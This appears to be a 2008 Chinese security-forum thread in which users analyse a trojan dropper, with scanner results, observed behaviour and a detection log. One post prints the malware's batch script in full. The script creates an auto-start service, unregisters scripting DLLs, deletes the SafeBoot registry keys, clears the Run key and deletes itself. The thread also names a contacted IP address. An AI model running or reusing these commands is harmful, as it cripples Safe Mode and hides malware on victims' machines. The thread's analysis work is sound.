自己中的,暂时不知道解决方法.

wangjay1980

BAT,很无耻

GKSXM9ZRW
GCJTIPSK
XMCW0SSL81E08
38EK9P7O7
date 2004-08-17
time 20:00:00
ping 127.0.0.1 -n 5
sc.exe create E7WAMRTJ BinPath= "C:\WINDOWS\system32\E7WAMRTJ.exe -k_ill" type= own type= interact start= auto DisplayName= G08UQ5VYMUW
sc.exe description E7WAMRTJ DMQWEZT3UDJBUV3003LPDNXCUUF5JTBMA8S5HB7NVAP5953E7379OD
regsvr32.exe /u /s scrrun.dll
regsvr32.exe /u /s shimgvw.dll
regsvr32.exe /u /s itss.dll
regsvr32.exe /u /s vbscript.dll
regsvr32.exe /s jscript.dll
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /F
sc.exe start E7WAMRTJ
del "C:\WINDOWS\Media\Windows XP 开始.wav"
del "C:\WINDOWS\Media\Windows XP 信息栏.wav"
del "C:\WINDOWS\Media\Windows XP 弹出窗口已阻止.wav"
ping 127.0.0.1 -n 6
del "C:\Documents and Settings\Owner\桌面\EZJ34FXK4S.exe" /F
time 19:58:59
date 2008-05-27
del %0
exit

[ 本帖最后由 wangjay1980 于 2008-5-27 20:50 编辑 ]

scottxzt

这个修复的话,上报卡巴看看能否修复文件,我这里没有拦截全,先结束了它的进程.

scottxzt

[quote]原帖由 wangjay1980 于 2008-5-27 20:41 发表
BAT,很无耻

用的啥软件看的啊.很清楚的,

scottxzt

反病毒引擎 版本 最后更新 扫描结果
AhnLab-V3 2008.5.22.1 2008.05.27 -
AntiVir 7.8.0.19 2008.05.27 -
Authentium 5.1.0.4 2008.05.26 -
Avast 4.8.1195.0 2008.05.27 -
AVG 7.5.0.516 2008.05.26 -
BitDefender 7.2 2008.05.27 -
CAT-QuickHeal 9.50 2008.05.26 -
ClamAV 0.92.1 2008.05.27 -
DrWeb 4.44.0.09170 2008.05.27 -
eSafe 7.0.15.0 2008.05.26 -
eTrust-Vet 31.4.5826 2008.05.27 -
Ewido 4.0 2008.05.27 -
F-Prot 4.4.4.56 2008.05.26 -
F-Secure 6.70.13260.0 2008.05.27 -
Fortinet 3.14.0.0 2008.05.27 -
GData 2.0.7306.1023 2008.05.27 -
Ikarus T3.1.1.26.0 2008.05.27 -
Kaspersky 7.0.0.125 2008.05.27 -
McAfee 5303 2008.05.26 -
Microsoft 1.3520 2008.05.27 -
NOD32v2 3134 2008.05.27 -
Norman 5.80.02 2008.05.26 -
Panda 9.0.0.4 2008.05.27 -
Prevx1 V2 2008.05.27 -
Rising 20.46.12.00 2008.05.27 -
Sophos 4.29.0 2008.05.27 Sus/Behav-1014
Sunbelt 3.0.1123.1 2008.05.17 -
Symantec 10 2008.05.27 -
TheHacker 6.2.92.320 2008.05.26 -
VBA32 3.12.6.6 2008.05.27 -
VirusBuster 4.3.26:9 2008.05.27 -
Webwasher-Gateway 6.6.2 2008.05.27 -

qianwenxiang

访问网络
58.49.58.20:443
写入文件
c:\bootfont.biz 里面是自己的路径 应该是删除原文件用的
%system%\一个bat，修改设置，一个exe，主体
%userprofile%\All Users\「开始」菜单\程序\启动\ 放置自身
禁止安全软件启动，比如偶那啥process explorer启动时就报错然后报错窗口也立即被关闭..
等等..

http://www.threatexpert.com/repo ... 7699e2f11082d71d4b3

palfan

话说我用的RVS，非系统盘也有程序被感染了，因为毛豆后来我懒得点了

jiffy

PC   tools  报磁碟机

scottxzt

Begin scan in 'C:\Documents and Settings\Administrator\桌面\EZJ34FXK4S.rar'
C:\Documents and Settings\Administrator\桌面\EZJ34FXK4S.rar
  [0] Archive type: RAR
  --> EZJ34FXK4S.exe
      [DETECTION] Is the Trojan horse TR/Drop.Agent.zae
      [NOTE]      The file was successfully wiped!
      [NOTE]      The file was deleted!

tracydk